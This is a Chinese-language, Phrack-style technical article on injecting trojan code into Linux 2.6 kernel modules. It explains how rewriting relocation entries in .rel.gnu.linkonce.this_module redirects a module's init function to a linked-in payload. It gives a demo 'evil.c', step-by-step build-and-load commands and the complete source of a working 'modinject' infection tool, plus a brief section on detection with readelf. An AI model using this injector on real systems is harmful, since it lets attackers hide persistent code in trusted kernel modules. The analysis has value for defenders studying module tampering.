module injection in 2.6 kernel|=-------------------[ module injection in 2.6 kernel ]-------------------=|
|=------------------------------------------------------------------------=|
|=---------------[ CoolQ <qufuping@ercist.iscas.ac.cn> ]-----------------=|
|=------------------------------------------------------------------------=|
0 - 前言
1 - 2.4 回顾
2 - 2.6 的变化
2.1 2.6的.ko文件
2.2 失效的原因
3 - 对策
3.1 修改.rel.gnu.linkonce.this_module
3.2 例子
4 - 检测module injection的方法
5 - 参考
6 - 代码
--[ 0 - 前言
phrack 61期有一篇不错的文章[1]，给出了一种感染内核模块的方法，不过是基于2.4内核的，该方法在2.6上无效，但是思想还是通用的。通过对2.6内核加载的分析，了解两者之间的差异，并最终实现2.6下的module injection。
--[ 1 - 2.4 回顾
内核对模块的管理，是通过struct module来实现的，该结构的成员init/cleanup，代表加载/卸载模块后需要运行的初始化/收尾函数，它的赋值是通过以下代码实现的：
module->init = obj_symbol_final_value(f,
obj_find_symbol(f, "init_module"));
module->cleanup = obj_symbol_final_value(f,
obj_find_symbol(f, "cleanup_module"));
可见，insmod需要在.strtab中查找init_module/cleanup_module字符串，并根据索引值找到相应的.symtab中的符号，将相应的值赋值给module->init/cleanup。
因此，如果能把.strtab中别的字符串替换为init_module，那么系统加载的时候，运行的就不是原来的init_module函数了。
--[ 2 - 2.6 的变化
2.6中的模块子系统被完全重写，如果用[1]中的工具，发现无论怎么修改.strtab，运行的始终是原来的init_module。
--[ 2.1 2.6的.ko文件
2.6下的模块，扩展名为.ko，而不是2.4下的.o。很多初学者写完模块之后，会使用2.4的方法来编译模块
-----------------------------8 test.c 8--------------------------------------
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
static int dummy_init(void)
{
printk("hello,world.\n");
return 0;
}
static void dummy_exit(void)
{
return;
}
module_init(dummy_init);
module_exit(dummy_exit);
MODULE_LICENSE("GPL")
------------------------------8 cut here 8-----------------------------------
# gcc -c -O2 -DMODULE -D__KERNEL__ -I/usr/src/linux test.c
# insmod test.o
No module found in object
insmod: error inserting 'test.o': -1 Invalid module format
正确的做法是写一个Makefile,由内核的Kbuild来帮你编译
-------------------------------8 Makefile 8-----------------------------------
obj-m := module.o
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
default:
$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
--------------------------------8 cut here 8----------------------------------
#make
make -C /lib/modules/2.6.5-1.358/build SUBDIRS=/test modules
make[1]: Entering directory `/lib/modules/2.6.5-1.358/build'
CC [M] /test/modinject/test.o
Building modules, stage 2.
MODPOST
CC /test/modinject/test.mod.o
LD [M] /test/modinject/test.ko
make[1]: Leaving directory `/lib/modules/2.6.5-1.358/build'
#ll
-rw-r--r-- 1 root root 268 Jan 7 08:31 test.c
-rw-r--r-- 1 root root 2483 Jan 8 09:19 test.ko
-rw-r--r-- 1 root root 691 Jan 8 09:19 test.mod.c
-rw-r--r-- 1 root root 1964 Jan 8 09:19 test.mod.o
-rw-r--r-- 1 root root 1064 Jan 8 09:19 test.o
其实上边的test.o就是用gcc生成的test.o,而test.ko是使用下列命令来生成的
#ld -m elf_i386 -r -o test.ko test.o test.mod.o
再来看看test.mod.c，它是由/usr/src/linux/scripts/modpost.c来生成的
#cat test.mod.c
#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler.h>
MODULE_INFO(vermagic, VERMAGIC_STRING);
#undef unix
struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
.name = __stringify(KBUILD_MODNAME),
.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
.exit = cleanup_module,
#endif
};
static const struct modversion_info ____versions[]
__attribute_used__
__attribute__((section("__versions"))) = {
{ 0, "cleanup_module" },
{ 0, "init_module" },
{ 0, "struct_module" },
{ 0, "printk" },
};
static const char __module_depends[]
__attribute_used__
__attribute__((section(".modinfo"))) =
"depends=";
可见，test.mod.o只是产生了几个ELF的节，分别是modinfo, .gun.linkonce.this_module
(用于重定位，引进了rel.gnu.linkonce.this_module), __versions。而test.ko是test.o
和test.mod.o合并的结果。
--[ 2.2 失效的原因
在2.1给出的test.c中，模块的初始化函数是dummy_init，这是通过module_init(dummy_init)来实现的，module_init的作用是把dummy_init作为init_module的alias，这
个可以查看生成的符号表来验证：
16: 00000000 14 FUNC LOCAL DEFAULT 1 dummy_init
25: 00000000 14 FUNC GLOBAL DEFAULT 1 init_module
看, 符号的st_value都是0，而且除了BIND类型以外，其他的完全一样!
在2.6的内核源代码中，并没有见到对module->init赋值的操作。问题的关键就是
test.mod.c中的那个struct module __this_module,这实际上就是内核用来管理的module结构。内核装载模块的时候，会将这个节直接复制，并将module的指针指向__this_module, 而".init = init_module"将module->init初始化为init_module.
如果你了解符号的解析过程,你应该很清楚:符号的重定位不需要.strtab的参与
看一下Elf32_Rel的定义
typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;
和重定位节.rel.gnu.linkonce.this_module
Relocation section '.rel.gnu.linkonce.this_module' at offset 0x758 contains 2
entries:
Offset Info Type Sym.Value Sym. Name
00000068 00001901 R_386_32 00000000 init_module
0000018c 00001801 R_386_32 0000000e cleanup_module
0x68就是init在module struct中的偏移量，重定位的类型是R_386_32，重定位的目标是上边符号表中的25: 0x0(节中的偏移量) 14(大小) FUNC(该符号是函数) GLOBAL(全局)Default(可见域) 1(代表是Index为1的节 - .text) init_module(符号名)
也就是说，无论你将.strtab中的init_module修改为什么值，最终重定位的目标还是索引为25的符号(init_module这个字符串只是给人看得，重定位不使用)。
--[ 3 - 对策
--[ 3.1 修改.rel.gnu.linkonce.this_module
既然知道了问题的原因，解决的方法就很容易了：我们的目标从.strtab变成了.rel.gnu.linkonce.this_module中的Elf32_Rel entry。
具体的过程如下：
1. 编写木马模块，编译成.o(注意不是.ko)，木马的内容在3.2中给出
2. ld -r -o final.ko good.ko evil.o
3. 找到final.ko中的.rel.gnu.linkonce.this_module节
4. 遍历所有的entry, 如果ELF32_R_SYM(rel->r_info) == orig_init_idx，将rel->r_info的symbol部分替换成木马的函数索引号，cleanup的情况相同
5. 将final.ko重命名为good.ko (因为ko中有一个meta data，名称必须相同)
--[ 3.2 例子
我们来把下列代码注射到上边的test.ko中
--------------------------------8 evil.c 8------------------------------------
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
extern int init_module(void);
int main(int argc, char *argv)
{
printk("hello,evil world.\n");
init_module();
return 0;
}
-------------------------------8 cut here 8-----------------------------------
1.# gcc -O2 -c -DMODULE -D__KERNEL__ -I/usr/src/linux-2.6/include evil.c
.OR.
# make (前题是你写了一个符合evil.c的Makefile)
2.# ld -r -o final.ko test.ko evil.o
3.# ./modinject final.ko main
[+] - Change Reloc init OK !
4.# mv final.ko test.ko
5.# insmod test.ko
hello,evil world.
hello,world.
OK. 目的达到。请读者自行考虑木马里调用的为什么是init_module，程序能正常运行的原因是什么，并对照2.4的相关部分。
--[ 4 - 检测module injection的方法
对付module injection的方法很多，文件完整性检查是方法之一。
如果没有准备哈希数据库，该怎么办呢？我们可以使用readelf或者objdump:
# readelf -r test.ko
...
Relocation section '.rel.gnu.linkonce.this_module' at offset 0x7a4 contains 2
entries:
Offset Info Type Sym.Value Sym. Name
00000068 00001c01 R_386_32 00000010 main <--- 应该是init_module
0000018c 00001901 R_386_32 0000000e cleanup_module
不过一定要瞪大眼睛哦，万一攻击者将init_module->init_modu1e，可不要被骗了 :-}
--[ 5 - 参考
[1] [http://www.phrack.org/show.php?p=61&a=10]
[2] kernel source code
[3] ELF规范
--[ 6 - 代码
/* Name : modinject.c
* Author : CoolQ
* Purpose: 2.6 kernel module injection
* Usage : # gcc -c evil.c
* # ld -r good.ko evil.o -o tmp.ko
* # mv tmp.ko good.ko # good.ko already infected
* # ./modinject good.ko evil_func_start evil_func_end
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <strings.h>
#include <elf.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#define ERROR(str) \
do{ \
perror(str); \
exit(EXIT_FAILURE); \
}while(0)
void usage(char *prog);
int check_hdr(Elf32_Ehdr *ehdr);
Elf32_Shdr *Elf32_GetSectionByIndex(Elf32_Ehdr *ehdr, int index);
Elf32_Shdr *Elf32_GetSectionByName(Elf32_Ehdr *ehdr, char *name);
Elf32_Sym *Elf32_GetSymbolByName(Elf32_Ehdr *ehdr, char *name);
int Elf32_GetSymbolIndexByName(Elf32_Ehdr *ehdr, char *name);
int Elf32_Change_Reloc(Elf32_Rel *sym_rel, int to_idx);
void *base; /* mmap base addr */
int main(int argc, char *argv[])
{
char *module_file, *evil_init_str, *evil_cleanup_str;
int fd, i;
struct stat stat;
Elf32_Ehdr *ehdr;
Elf32_Shdr *shdr, *module_sec;
int orig_init_idx, orig_cleanup_idx;
int evil_init_idx, evil_cleanup_idx;
Elf32_Rel *rel;
if(argc != 3 && argc != 4)
usage(argv[0]);
module_file = argv[1];
evil_init_str = argv[2];
if(argc == 4)
evil_cleanup_str = argv[3];
else
evil_cleanup_str = NULL;
if((fd = open(module_file, O_RDWR)) == -1)
ERROR("open file error.\n");
if(fstat(fd, &stat) == -1)
ERROR("get stat error.\n");
base = mmap(0, stat.st_size, PROT_READ | PROT_WRITE,
MAP_SHARED, fd, 0);
if(base == MAP_FAILED)
ERROR("mmap error.\n");
ehdr = (Elf32_Ehdr *)base;
if(check_hdr(ehdr) == -1)
ERROR("Not a valid Elf32 file.\n");
/* get struct module */
module_sec = Elf32_GetSectionByName(ehdr,
".rel.gnu.linkonce.this_module");
if(module_sec == -1)
ERROR("this is not a valid module file.\n");
/* get symbol index */
evil_init_idx = Elf32_GetSymbolIndexByName(ehdr, evil_init_str);
if(argc == 4)
evil_cleanup_idx = Elf32_GetSymbolIndexByName(ehdr, evil_cleanup_str);
else
evil_cleanup_idx = 0;
orig_init_idx = Elf32_GetSymbolIndexByName(ehdr, "init_module");
if(argc == 4)
orig_cleanup_idx = Elf32_GetSymbolIndexByName(ehdr, "cleanup_module");
else
orig_cleanup_idx = 0;
if(evil_init_idx == -1 || evil_cleanup_idx == -1
|| orig_init_idx == -1 || orig_cleanup_idx == -1)
ERROR("no such func names.\n");
/* change reloc symbols if necessary */
for(i = 0; i < module_sec->sh_size / sizeof(Elf32_Rel); i++){
rel = base + module_sec->sh_offset + i * sizeof(Elf32_Rel);
if(ELF32_R_SYM(rel->r_info) == orig_init_idx){
fprintf(stdout, "[+] - Change Reloc init OK !\n");
Elf32_Change_Reloc(rel, evil_init_idx);
}
else if(argc == 4 &&
ELF32_R_SYM(rel->r_info) == orig_cleanup_idx){
fprintf(stdout, "[+] - Change Reloc cleanup OK !\n");
Elf32_Change_Reloc(rel, evil_cleanup_idx);
}
}
msync(base, stat.st_size, MS_SYNC);
munmap(base, stat.st_size);
close(fd);
return 0;
}
void usage(char *prog)
{
fprintf(stderr, "Usage:\n");
fprintf(stderr, "\t%s infected.ko evil_func_start evil_func_end.\n",
prog);
fprintf(stderr, "OR\n");
fprintf(stderr, "\t%s infected.ko evil_func_start.\n");
exit(EXIT_FAILURE);
return;
}
int check_hdr(Elf32_Ehdr *ehdr)
{
/* some sanity checks */
if( ehdr->e_ident[EI_MAG0] != 0x7f ||
ehdr->e_ident[EI_MAG1] != 'E' ||
ehdr->e_ident[EI_MAG2] != 'L' ||
ehdr->e_ident[EI_MAG3] != 'F' ||
ehdr->e_ident[EI_CLASS] != ELFCLASS32 ||
ehdr->e_ident[EI_DATA] != ELFDATA2LSB ||
ehdr->e_ident[EI_VERSION] != EV_CURRENT ||
ehdr->e_type != ET_REL ||
ehdr->e_machine != EM_386 )
return -1;
else
return 0;
}
Elf32_Shdr *Elf32_GetSectionByIndex(Elf32_Ehdr *ehdr, int index)
{
return(base + (ehdr->e_shoff + sizeof(Elf32_Shdr) * index));
}
Elf32_Shdr *Elf32_GetSectionByName(Elf32_Ehdr *ehdr, char *name)
{
int i;
char *secname;
Elf32_Shdr *strtab, *sec;
strtab = Elf32_GetSectionByIndex(ehdr, ehdr->e_shstrndx);
for(i = 0; i < ehdr->e_shnum; i++){
sec = Elf32_GetSectionByIndex(ehdr, i);
secname = base + strtab->sh_offset + sec->sh_name;
if(strcmp(name, secname) == 0)
return(sec);
}
return -1;
}
Elf32_Sym *Elf32_GetSymbolByName(Elf32_Ehdr *ehdr, char *name)
{
int i;
char *sym_name;
Elf32_Shdr *symtab, *strtab;
Elf32_Sym *symbol;
symtab = Elf32_GetSectionByName(ehdr, ".symtab");
strtab = Elf32_GetSectionByName(ehdr, ".strtab");
if(symtab == -1 || strtab == -1)
ERROR("no symtab section or strtab section.\n");
for(i = 0; i < symtab->sh_size / sizeof(Elf32_Sym); i++){
symbol = base + symtab->sh_offset + i * sizeof(Elf32_Sym);
sym_name = base + strtab->sh_offset + symbol->st_name;
if(strcmp(name, sym_name) == 0 && /* only return func symbol */
ELF32_ST_TYPE(symbol->st_info) == STT_FUNC)
return symbol;
}
return -1;
}
int Elf32_GetSymbolIndexByName(Elf32_Ehdr *ehdr, char *name)
{
int i;
char *sym_name;
Elf32_Shdr *symtab, *strtab;
Elf32_Sym *symbol;
symtab = Elf32_GetSectionByName(ehdr, ".symtab");
strtab = Elf32_GetSectionByName(ehdr, ".strtab");
if(symtab == -1 || strtab == -1)
ERROR("no symtab section or strtab section.\n");
for(i = 0; i < symtab->sh_size / sizeof(Elf32_Sym); i++){
symbol = base + symtab->sh_offset + i * sizeof(Elf32_Sym);
sym_name = base + strtab->sh_offset + symbol->st_name;
if(strcmp(name, sym_name) == 0 &&
ELF32_ST_TYPE(symbol->st_info) == STT_FUNC)
return i;
}
return -1;
}
int Elf32_Change_Reloc(Elf32_Rel *sym_rel, int to_idx)
{
unsigned int type;
type = ELF32_R_TYPE(sym_rel->r_info);
sym_rel->r_info = ELF32_R_INFO(to_idx, type);
return 0;
}
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